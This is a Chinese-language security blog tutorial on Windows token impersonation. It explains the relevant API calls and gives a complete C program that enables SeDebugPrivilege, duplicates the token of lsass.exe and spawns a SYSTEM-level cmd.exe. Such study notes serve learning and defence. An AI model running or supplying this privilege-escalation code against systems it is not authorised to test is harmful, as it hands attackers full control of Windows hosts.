WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

令牌模拟

0x01 利用函数

OpenProcess->OpenProcessToken->DuplicateTokenEx->CreateProcessWithTokenW

OpenProcess

这个就不写了

OpenProcessToken

获取当前进程的token

1
2
3
4
5
 BOOL OpenProcessToken(
HANDLE ProcessHandle, //进程句柄
DWORD DesiredAccess, //要获取的Token的权限
PHANDLE TokenHandle //指向Token句柄的指针
);

DuplicateTokenEx

复制已有的访问令牌来创建新的访问令牌

1
2
3
4
5
6
7
8
BOOL DuplicateTokenEx(
[in] HANDLE hExistingToken, //token句柄
[in] DWORD dwDesiredAccess, //指定新令牌的请求访问权限,人话就是要不要把特权都复制过来
[in, optional] LPSECURITY_ATTRIBUTES lpTokenAttributes, //安全描述符,NULL
[in] SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, //指定新令牌的模拟级别,一般用SecurityImpersonation,模拟级别的文章会放在后面
[in] TOKEN_TYPE TokenType, //模拟令牌的类型,主令牌还是模拟令牌
[out] PHANDLE phNewToken //指向接收新handle的指针
);

CreateProcessWithTokenW

指定令牌创建进程

1
2
3
4
5
6
7
8
9
10
11
BOOL CreateProcessWithTokenW(
[in] HANDLE hToken, //创建进程用到的令牌
[in] DWORD dwLogonFlags, //一个讲不清楚的标志位
[in, optional] LPCWSTR lpApplicationName, //要执行的模块的名称
[in, out, optional] LPWSTR lpCommandLine, //命令行
[in] DWORD dwCreationFlags, //进程标志位,就新进程属性这样的吧
[in, optional] LPVOID lpEnvironment, //指向新进程环境块的指针
[in, optional] LPCWSTR lpCurrentDirectory, //进程当前目录的完整路径NULL就是与调用进程相同的路径
[in] LPSTARTUPINFOW lpStartupInfo, //指向STARTUPINFO或STARTUPINFOEX结构的指针,不太明白..应该是设置一些新进程的属性
[out] LPPROCESS_INFORMATION lpProcessInformation//新进程的一些信息,输出到PROCESS_INFORMATION结构
);

其实这函数和CreateProcess差不多,就多了个标志位和token

到这里用到的函数就介绍完了,开始写代码

0x02 代码实现

简单整理一下步骤

  1. OpenProcess获取一个用system权限的进程句柄
  2. OpenProcessToken得到前面句柄的令牌
  3. DuplicateTokenEx 复制一个新的主令牌
  4. CreateProcessWithTokenW用上面复制的令牌创建进程

这里system的权限就用LSASS.EXE了

下面贴代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>

BOOL EnableSeDebugPrivilege() {
HANDLE Token;
LUID LuidValue = { 0 };
TOKEN_PRIVILEGES TP = { 0 };
BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
if (Aret == NULL) {
printf("GetTokenHandle Fail\n");
return FALSE;
}
BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
if (Bret == NULL) {
printf("LookupPrivilegeValue Fail\n");
return FALSE;
}
TP.PrivilegeCount = 1;
TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid = LuidValue;
BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("AdjustToken Success\n");
return TRUE;
}
printf("AdjustToken Fail\n");
printf("ErrorCode: %d\n", GetLastError());
return FALSE;
}


int FindProcessId(LPCTSTR ProcessName) {
PROCESSENTRY32 PE = { 0 };
PE.dwSize = sizeof(PE);
HANDLE ProcessIDALL = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(ProcessIDALL, &PE)) {
do {
if (lstrcmpi(ProcessName, PE.szExeFile) == 0) {
return PE.th32ProcessID;
}
} while (Process32Next(ProcessIDALL, &PE));
}

return 0;
}

int main() {
EnableSeDebugPrivilege();
int pid = FindProcessId(L"lsass.exe");
printf("pid: %d\n", pid);
HANDLE process_token;
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE New_Token;
STARTUPINFOW si = {};
PROCESS_INFORMATION pi = {};
OpenProcessToken(process, TOKEN_DUPLICATE | TOKEN_QUERY, &process_token);
DuplicateTokenEx(process_token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &New_Token);
BOOL ret = CreateProcessWithTokenW(New_Token, LOGON_NETCREDENTIALS_ONLY, L"C:\\windows\\system32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
printf("%d\n", GetLastError());
}

其实别的没啥好说了

就是开启debug权限,然后通过名称找到pid省去了手动改输

OpenProcessToken只需要得到复制令牌的权限就可以—TOKEN_DUPLICATE

得到system权限的cmd

0x03 参考文章

https://www.c0bra.xyz/2020/03/16/%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97%E4%B8%80%E4%B8%AAsystem%E6%9D%83%E9%99%90%E7%9A%84cmd/